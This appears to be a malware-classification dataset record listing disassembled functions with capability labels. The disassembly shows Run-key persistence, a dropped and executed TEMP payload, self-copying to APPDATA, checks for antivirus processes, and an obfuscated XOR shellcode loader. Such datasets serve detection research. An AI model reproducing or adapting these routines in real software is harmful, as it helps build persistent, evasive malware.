joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002670
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x404
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x400], eax
push str.Bro:
push 0x10047750
push 0x1ff
lea eax, [esp + 0xc]
push 0x200
push eax
call fcn.1000449c
lea edx, [esp + 0x420]
push edx
mov edx, dword [esp + 0x420]
push edx
mov ecx, 0x200
sub ecx, eax
lea edx, [ecx - 1]
push edx
push ecx
lea eax, [esp + eax*2 + 0x24]
push eax
call fcn.100046c1
add esp, 0x28
lea ecx, [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [esp + 0x400]
xor ecx, esp
call fcn.10003ca2
add esp, 0x404
ret

Function at 0x100026f0
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x420
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x41c], eax
mov eax, dword [esp + 0x424]
push esi
push eax
push str._systemroot_
push str._s_system32RUNDLL32___s__EntryPoint
push 0x103
lea eax, [esp + 0x20]
push 0x104
push eax
call fcn.1000449c
add esp, 0x18
lea ecx, [esp + 4]
push ecx
push 0x2001f
xor esi, esi
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100027b7
lea edx, [esp + 0xc]
push edx
mov edx, dword [esp + 8]
lea eax, [esp + 0x21c]
push eax
lea ecx, [esp + 0x10]
push ecx
push esi
push str.ChsIEM
push edx
mov dword [esp + 0x24], 0x208
mov dword [esp + 0x20], 2
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x100027a7
mov ecx, dword [esp + 4]
push 0x208
lea eax, [esp + 0x14]
push eax
push 2
push esi
push str.ChsIEM
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x100027ac
mov esi, 1
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x420]
mov eax, esi
pop esi
xor ecx, esp
call fcn.10003ca2
add esp, 0x420
ret
Function at 0x100027d0
Capabilities:
Check if file exists
Copy file
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x47c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x474], eax
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push esi
push edi
push 0x104
lea eax, [esp + 0x74]
push eax
push str.TEMP
call ebp
test eax, eax
je 0x10002956
push 0xffffffffffffffff
lea ecx, [esp + 0x74]
push ecx
lea edx, [esp + 0x280]
push 0x104
push edx
call fcn.10003cb1
push str._swupdator.exe
lea eax, [esp + 0x84]
push 0x104
push eax
call fcn.10004366
add esp, 0x1c
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x10002917
push str._swupdator.ikt
lea edx, [esp + 0x27c]
push 0x104
push edx
call fcn.10004366
add esp, 0xc
push 0
push 0x80
push 1
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x290]
push eax
mov dword [esp + 0x30], 0x5a4d
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
test esi, esi
jle 0x100028da
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [esp + 0x14]
push ecx
push 0x37200
push 0x10010540
push esi
call edi
push 0
push 0
push 0
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [esp + 0x14]
push edx
push 2
lea eax, [esp + 0x20]
push eax
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x10002956
push 0x104
lea ecx, [esp + 0x74]
push ecx
push str.TEMP
call ebp
push str._swupdator.exe
lea edx, [esp + 0x74]
push 0x104
push edx
call fcn.10004366
add esp, 0xc
push 1
lea eax, [esp + 0x74]
push eax
lea ecx, [esp + 0x280]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x40
lea edx, [esp + 0x30]
push 0
push edx
mov dword [esp + 0x34], 0x44
call fcn.10009800
add esp, 0xc
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x90]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [esp + 0x484]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10003ca2
add esp, 0x47c
ret

Function at 0x10002970
Capabilities:
Copy file
Query environment variable

Disassembly:
sub esp, 0x414
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x410], eax
push 0x104
lea eax, [esp + 4]
push eax
push str.APPDATA
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push str.Micromn.dll
lea ecx, [esp + 4]
push 0x104
push ecx
call fcn.10004366
mov eax, dword [0x1004a964]
add esp, 0xc
push 0x104
lea edx, [esp + 0x20c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 1
lea ecx, [esp + 4]
push ecx
lea edx, [esp + 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, dword [esp + 0x410]
xor ecx, esp
call fcn.10003ca2
add esp, 0x414
ret
Function at 0x10002a00
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x38
push ebx
push ebp
push esi
push edi
xor ebp, ebp
lea eax, [esp + 0x40]
push eax
push ebp
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x2c]
push eax
mov eax, dword [esp + 0x60]
push ebp
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x54]
push edx
push ebp
push ebp
push ebp
push eax
mov dword [esp + 0x68], ebp
mov dword [esp + 0x4c], ebp
mov dword [esp + 0x54], ebp
mov dword [esp + 0x50], ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
je 0x10002a55
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
inc ecx
inc eax
mov dword [esp + 0x14], ecx
cmp ecx, eax
ja 0x10002a6b
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x14]
lea edx, [ecx + ecx]
push edx
call fcn.10003ea7
mov ebx, eax
add esp, 4
mov dword [esp + 0x30], ebx
cmp ebx, ebp
je 0x10002a4b
push 0x14
call fcn.10003ea7
mov esi, eax
add esp, 4
xor eax, eax
mov dword [esp + 0x34], esi
cmp esi, ebp
je 0x10002bcb
mov dword [esi + 4], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi], 0x10
mov dword [esi + 8], ebp
mov eax, dword [esp + 0x2c]
push eax
call fcn.10003ea7
mov edi, eax
add esp, 4
cmp edi, ebp
je 0x10002bc0
cmp dword [esp + 0x1c], ebp
jbe 0x10002bb7
mov ecx, dword [esp + 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
lea edx, [esp + 0x28]
push edx
push 0
push 0
push 0
lea eax, [esp + 0x28]
push eax
push ebx
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + 0x64]
push ebp
push ecx
call esi
test eax, eax
jne 0x10002ba8
cmp dword [esp + 0x28], eax
jbe 0x10002ba8
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x28]
push eax
mov eax, dword [esp + 0x50]
push edi
lea ecx, [esp + 0x44]
push ecx
push 0
mov dword [esp + 0x28], edx
lea edx, [esp + 0x28]
push edx
push ebx
push ebp
push eax
call esi
test eax, eax
jne 0x10002ba8
mov eax, dword [esp + 0x3c]
test eax, eax
jbe 0x10002ba8
cmp eax, 2
ja 0x10002ba8
mov ecx, dword [esp + 0x2c]
shr ecx, 1
push ecx
push edi
call fcn.10003d84
mov esi, eax
lea edx, [esi + esi + 2]
push edx
call fcn.10003ea7
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x10002ba4
push str..exe
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x10002ba4
add eax, 8
sub eax, edi
mov ecx, 0x22
inc esi
sar eax, 1
cmp cx, word [edi]
jne 0x10002b8b
dec eax
push eax
lea edx, [edi + 2]
push edx
jmp 0x10002b8d
push eax
push edi
push esi
push ebx
call fcn.10003cb1
mov esi, dword [esp + 0x44]
add esp, 0x10
push ebx
call fcn.10003c50
add esp, 4
mov ebx, dword [esp + 0x30]
inc ebp
cmp ebp, dword [esp + 0x1c]
jb 0x10002ad2
mov esi, dword [esp + 0x34]
push edi
call fcn.100042d8
add esp, 4
push ebx
call fcn.100042d8
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret
Function at 0x10002be0
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x18]
push eax
push 0x20019
xor ebx, ebx
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
mov dword [esp + 0x28], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10002c2e
mov ecx, dword [esp + 0x18]
push ecx
call fcn.10002a00
mov edx, dword [esp + 0x1c]
add esp, 4
mov esi, eax
push edx
mov dword [esp + 0x20], esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
jne 0x10002c38
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov edi, dword [esi + 4]
cmp edi, ebx
jbe 0x10002c9d
mov ebp, dword [esi + 0xc]
mov eax, ebp
xor ecx, ecx
test eax, eax
je 0x10002c94
lea ebx, [ebx]
mov edx, ecx
inc ecx
cmp edx, ebx
je 0x10002c60
mov eax, dword [eax + 4]
test eax, eax
jne 0x10002c50
jmp 0x10002c94
mov esi, dword [eax]
test esi, esi
je 0x10002c94
cmp dword [0x1004a968], 0
je 0x10002c7d
push esi
push str.Autorun:__s
call fcn.10002670
add esp, 8
mov eax, dword [esp + 0x24]
push eax
mov eax, esi
call fcn.100017f0
add esp, 4
test eax, eax
je 0x10002c94
inc dword [esp + 0x14]
inc ebx
cmp ebx, edi
jb 0x10002c42
mov esi, dword [esp + 0x1c]
mov edi, esi
call fcn.10003bc0
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x10002cb0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x230
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x22c], eax
push esi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x10002cf3
lea eax, [esp + 4]
push eax
push esi
mov dword [esp + 0xc], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x10002d0b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [esp + 0x22c]
xor ecx, esp
call fcn.10003ca2
add esp, 0x230
ret
push edi
xor edi, edi
mov edi, edi
push 0x104
lea ecx, [esp + 0x30]
push str.360Tray.exe
push ecx
call fcn.100040e2
add esp, 0xc
test eax, eax
je 0x10002dee
push 0x104
lea edx, [esp + 0x30]
push str.360sd.exe
push edx
call fcn.100040e2
add esp, 0xc
test eax, eax
je 0x10002dee
push 0x104
lea eax, [esp + 0x30]
push str.QQPCMgr.exe
push eax
call fcn.100040e2
add esp, 0xc
test eax, eax
je 0x10002dee
push 0x104
lea ecx, [esp + 0x30]
push str.baiduan.exe
push ecx
call fcn.100040e2
add esp, 0xc
test eax, eax
je 0x10002dee
push 0x104
lea edx, [esp + 0x30]
push str.KAV32.exe
push edx
call fcn.100040e2
add esp, 0xc
test eax, eax
je 0x10002dee
push 0x104
lea eax, [esp + 0x30]
push str.rtvscan.exe
push eax
call fcn.100040e2
add esp, 0xc
test eax, eax
je 0x10002dee
push 0x104
lea ecx, [esp + 0x30]
push str.RavMon.exe
push ecx
call fcn.100040e2
add esp, 0xc
test eax, eax
je 0x10002dee
lea edx, [esp + 8]
push edx
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x10002d10
jmp 0x10002df3
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x234]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.10003ca2
add esp, 0x230
ret
Function at 0x10002e80
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x474
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x46c], eax
mov eax, dword [esp + 0x478]
push ebx
mov ebx, dword [esp + 0x484]
push ebp
push esi
push edi
push 0xffffffffffffffff
push eax
mov dword [esp + 0x24], eax
lea eax, [esp + 0x278]
push 0x104
push eax
mov dword [esp + 0x24], 1
call fcn.10003cb1
lea eax, [esp + 0x280]
add esp, 0x10
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10002ed4
sub eax, edx
sar eax, 1
mov esi, eax
cmp esi, 0x101
jl 0x10002ef7
mov eax, 1
jmp 0x10003035
mov ecx, 0x5c
xor eax, eax
lea edx, [ecx - 0x32]
cmp cx, word [esp + esi*2 + 0x26e]
jne 0x10002f1e
mov word [esp + esi*2 + 0x270], dx
mov word [esp + esi*2 + 0x272], ax
inc esi
jmp 0x10002f39
mov word [esp + esi*2 + 0x270], cx
mov word [esp + esi*2 + 0x272], dx
mov word [esp + esi*2 + 0x274], ax
add esi, 2
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x274]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x10002eed
mov edi, dword [esp + 0x494]
mov ebp, dword [esp + 0x48c]
test byte [esp + 0x20], 0x10
je 0x10002fc0
test ebp, ebp
je 0x10003004
mov ax, word [esp + 0x4c]
mov ecx, 0x2e
cmp cx, ax
je 0x10003004
mov edx, 0x24
cmp dx, ax
je 0x10003004
push 0xffffffffffffffff
lea eax, [esp + 0x50]
push eax
mov ecx, 0x104
sub ecx, esi
push ecx
lea edx, [esp + esi*2 + 0x27a]
push edx
call fcn.10003cb1
push edi
push ebx
lea eax, [esp + 0x288]
push ebp
push eax
call fcn.10002e80
add esp, 0x20
jmp 0x10003000
lea eax, [esp + 0x4c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10002fc7
sub eax, edx
sar eax, 1
cmp eax, 4
jbe 0x10003004
push 5
lea ecx, [esp + eax*2 + 0x48]
push str..exe
push ecx
call fcn.100040e2
add esp, 0xc
test eax, eax
jne 0x10003004
mov eax, dword [esp + 0x1c]
push edi
lea edx, [esp + 0x24]
push edx
push eax
call ebx
test eax, eax
je 0x1000301e
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10002f63
jmp 0x10003026
mov dword [esp + 0x14], 0
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x47c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10003ca2
add esp, 0x474
ret
Function at 0x10003ca2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10003cac
repz ret
jmp fcn.1000492f

Function at 0x1000a2d6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10006ac8
and dword [ebp - 4], 0
cmp dword [0x1004a878], 0
mov ebx, eax
jne 0x1000a387
push 0x1000fa34
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1000a438
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1000fa28
push edi
call esi
test eax, eax
je 0x1000a438
push eax
call fcn.10006a56
mov dword [esp], 0x1000fa18
push edi
mov dword [0x1004a878], eax
call esi
push eax
call fcn.10006a56
mov dword [esp], 0x1000fa04
push edi
mov dword [0x1004a87c], eax
call esi
push eax
call fcn.10006a56
mov dword [esp], 0x1000f9e8
push edi
mov dword [0x1004a880], eax
call esi
push eax
call fcn.10006a56
pop ecx
mov dword [0x1004a888], eax
test eax, eax
je 0x1000a387
push 0x1000f9d0
push edi
call esi
push eax
call fcn.10006a56
pop ecx
mov dword [0x1004a884], eax
mov eax, dword [0x1004a884]
cmp eax, ebx
je 0x1000a3df
cmp dword [0x1004a888], ebx
je 0x1000a3df
push eax
call fcn.10006ad1
push dword [0x1004a888]
mov esi, eax
call fcn.10006ad1
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1000a3df
test edi, edi
je 0x1000a3df
call esi
test eax, eax
je 0x1000a3d6
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1000a3d6
test byte [ebp - 0xc], 1
jne 0x1000a3df
or dword [ebp + 0x10], 0x200000
jmp 0x1000a418
mov eax, dword [0x1004a87c]
cmp eax, ebx
je 0x1000a418
push eax
call fcn.10006ad1
pop ecx
test eax, eax
je 0x1000a418
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1000a418
mov eax, dword [0x1004a880]
cmp eax, ebx
je 0x1000a418
push eax
call fcn.10006ad1
pop ecx
test eax, eax
je 0x1000a418
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1004a878]
call fcn.10006ad1
pop ecx
test eax, eax
je 0x1000a438
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1000a43a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x29a02312
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x29a02321
pop dword [ebp - 8]
mov eax, 0x29a02321
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xae16d792
sub dword [ebp - 0x18], 0x5fc49247
mov dword [ebp - 0x14], 0xed7859a8
sub dword [ebp - 0x14], 0xbb450d63
mov dword [ebp - 0x10], 0x4eef6d66
add dword [ebp - 0x10], 0xfd5cd6c8
mov dword [ebp - 0xc], 0xa4012f0f
add dword [ebp - 0xc], 0x5bfed0f1
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xc02c1dc1
add dword [ebp - 0x18], 0xb4464b95
mov dword [ebp - 0x14], 0xab20f0a5
add dword [ebp - 0x14], 0x964b70d0
mov dword [ebp - 0x10], 0xf6110312
sub dword [ebp - 0x10], 0x92a196a6
mov dword [ebp - 0xc], 0x3b753816
sub dword [ebp - 0xc], 0x3b753816
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x10ec4159
sub eax, 0xe74b0115
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3d5e6
push 0
call eax
mov ecx, 0x53e3
mov edx, eax
mov ebx, 0x7adff8bb
sub ebx, 0x513dd8bb
add ebx, dword [ebp - 8]
mov esi, 0xee272450
add esi, 0x37d8b808
xor dword [ebp - 4], ebx
mov edi, dword [ebx]
add edi, esi
add dword [ebp - 4], ebx
mov dword [edx], edi
xor dword [ebp - 4], 0x3d65f562
add edx, 0xef0b4fb3
add edx, 0x10f4b051
add ebx, 0x18dfe7a6
sub ebx, 0x18dfe7a2
loop 0x29a02433
add eax, 0xc9fe9c3f
sub eax, 0xc9fd59e0
xor ebx, ebx
add ebx, eax
add eax, 0x7ff99592
sub eax, 0x7ff9958d
mov ecx, 0x7f1a3c28
add ecx, 0xaa85c3d8
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x406c2d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [ebp + 0x458], edi
mov dword [0x4595cc], esi
mov esi, dword [ebp + 0x428]
mov dword [ebp + 0x480], esi
mov dword [0x4593d4], eax
mov esi, edi
add esp, 0x1c
jmp 0x406a12
Function at 0x414f83
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [0x458654], edx
mov edi, dword [0x458730]
mov dword [esp + 0x4c0], edi
mov edx, dword [esp + 0x3c]
mov edi, dword [esp + 0x38]
mov dword [esp + 0x46c], esi
mov esi, dword [esp + 0x480]
add esp, 0x38
xor edi, 0xd6b8cf8e
mov dword [esp], eax
mov dword [esp + 0x42c], edi
mov dword [0x458714], edi
mov ebx, dword [0x458714]
mov dword [0x45861c], ebx
mov ebp, esp
add ebp, 0xa0
jmp fcn.00415538

Function at 0x4150b9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [0x458540], eax
mov ebp, dword [esp + 0x4d8]
mov eax, dword [0x4586c8]
mov dword [0x45861c], ebp
mov dword [0x4586ec], eax
mov edi, dword [0x458774]
mov esi, dword [0x458150]
mov eax, dword [0x458540]
mov dword [esp + 0x64], eax
add esp, 0x64
mov ebp, esp
add ebp, 0xa0
jmp fcn.00415538

Function at 0x41667c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 0x14
mov ebp, esp
add ebp, 4
jmp fcn.004164bc

Function at 0x418100
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [0x459000], eax
mov dword [esp + 0x440], esi
mov edx, dword [0x4591ac]
mov ecx, dword [esp + 0x450]
mov dword [esp + 0x434], ebx
mov eax, dword [esp + 0x45c]
mov esi, dword [esp + 0x468]
mov dword [0x458f90], ecx
mov ebx, dword [esp + 0x4a4]
mov ebp, dword [0x458678]
mov dword [0x459048], ebx
mov dword [esp + 0x450], ebp
mov edi, dword [esp + 0x470]
mov dword [esp + 0x4a4], edi
mov ebx, dword [esp + 0x47c]
mov ebp, dword [esp + 0x44c]
mov eax, dword [esp + 0x444]
mov esi, dword [0x4590e8]
mov ecx, dword [0x458534]
mov edx, dword [esp + 0x158]
mov dword [esp + 0x428], ebx
mov dword [0x458a30], ebp
mov dword [0x4588c4], eax
mov dword [esp + 0x470], esi
mov dword [0x4587e8], ecx
mov dword [0x4586b8], edx
mov edi, dword [0x458f8c]
mov dword [esp + 0x47c], edi
mov eax, dword [esp + 0x45c]
mov esi, dword [esp + 0x468]
mov edx, dword [0x4591ac]
mov ecx, dword [esp + 0x464]
mov ebx, dword [esp + 0x454]
mov edi, dword [0x459000]
mov ebp, dword [esp + 0x428]
mov dword [esp + 0x44c], ecx
mov dword [0x4585a4], ebp
mov dword [esp + 0x420], eax
mov ecx, dword [0x458e98]
mov eax, dword [esp + 0x20]
mov dword [0x458a58], ecx
mov dword [esp + 0x45c], eax
mov eax, dword [esp + 0x420]
add esp, 0x24
jmp 0x4195e2
jmp fcn.004196d4

Function at 0x419fee
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ebx, dword [esp + 0x450]
mov ecx, dword [0x458fd4]
mov edi, dword [0x4590b4]
mov dword [esp + 0x458], ecx
mov dword [0x458a58], edi
mov edi, dword [esp + 0x440]
add esp, 0x20
jmp fcn.004196d4
Function at 0x41a01d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov esi, dword [0x4588e0]
mov eax, dword [esp + 0x444]
mov edi, dword [0x458954]
mov ebx, dword [esp + 0x42c]
mov dword [esp + 0x494], ebp
mov dword [esp + 0x46c], ecx
mov dword [0x458a30], esi
mov dword [0x4588c4], eax
mov dword [0x458d34], edi
mov dword [esp + 0x460], ebx
mov eax, dword [esp + 0x454]
mov esi, dword [esp + 0x458]
mov ebx, dword [esp + 0x43c]
mov edi, dword [0x458b24]
mov ecx, dword [0x458ad0]
mov ebp, dword [0x458bd0]
mov dword [esp + 0x414], ebx
mov dword [esp + 0x428], edi
mov dword [0x458cd8], ecx
mov dword [esp + 0x42c], ebp
mov edx, dword [esp + 0x438]
mov dword [esp + 0x43c], edx
mov edx, dword [0x458d54]
mov ebx, dword [0x4587b4]
mov ebp, dword [0x458aa0]
mov edi, dword [0x458cf8]
mov esi, dword [esp + 0x430]
mov ecx, dword [esp + 0x44c]
mov dword [0x458870], ebp
mov dword [0x4586b8], esi
mov dword [0x458d60], ecx
mov eax, dword [0x4588b8]
mov dword [esp + 0x44c], eax
mov eax, dword [esp + 0x454]
mov esi, dword [esp + 0x458]
mov ecx, dword [esp + 0x414]
mov dword [0x458a58], ecx
add esp, 0x14
jmp fcn.004196d4

Function at 0x432e54
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [0x459914], edx
lea edx, [0x457a30]
mov edx, dword [ebx + 0x14]
mov dword [ebp + 0x52c], esi
mov ebp, dword [ebx + 0x10]
mov esi, dword [ebx + 0x24]
add esi, edi
mov dword [esp + 0x5c4], ebp
mov dword [0x459aa4], edi
mov ebp, esp
lea edi, [0x457a30]
mov dword [ebp + 0x5c0], 0
push 2
push dword [0x457c7c]
push dword [0x457acc]
push 0x1f4
push 0x64
call fcn.0040d250
ret
mov dword [0x459a80], esi
mov esi, dword [esp + 0x5cc]
add esp, 8
mov dword [esp + 0x5c0], ebp
mov ebp, esp
add ebp, 0xb8
jmp 0x431d99
mov eax, dword [0x459a00]
mov esi, dword [esp + 0x5c8]
mov esi, dword [0x457e7c]
push esi
and esi, 0xffff
mov dword [0x459a98], esi
sub esi, dword [0x459aa8]
cmp esi, ecx
jge 0x43217c
add ecx, edi
mov edx, dword [ecx + 0x7c]
mov ebx, dword [ecx + 0x78]
add ebx, edi
test ebx, ebx
je 0x431d99
mov dword [0x459a00], eax
lea eax, [0x457a30]
mov eax, dword [ebx + 0x1c]
mov ecx, dword [ebx + 0x20]
add ecx, edi
add eax, edi
mov dword [0x459960], eax
mov eax, dword [ebx + 0x18]
test dword [0x457e7c], 0x80000000
je 0x40cc2b
mov dword [ebp + 0x52c], ecx
lea ecx, [0x457a30]
mov ecx, dword [ebx + 0x14]
mov ebp, dword [ebx + 0x24]
mov dword [esp + 0x5c4], esi
mov esi, dword [ebx + 0x10]
add ebp, edi
push eax
mov dword [0x459aa8], esi
jmp 0x432a07

Function at 0x4363a9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45cf30]
jne 0x4363b3
repz ret
jmp fcn.004126ac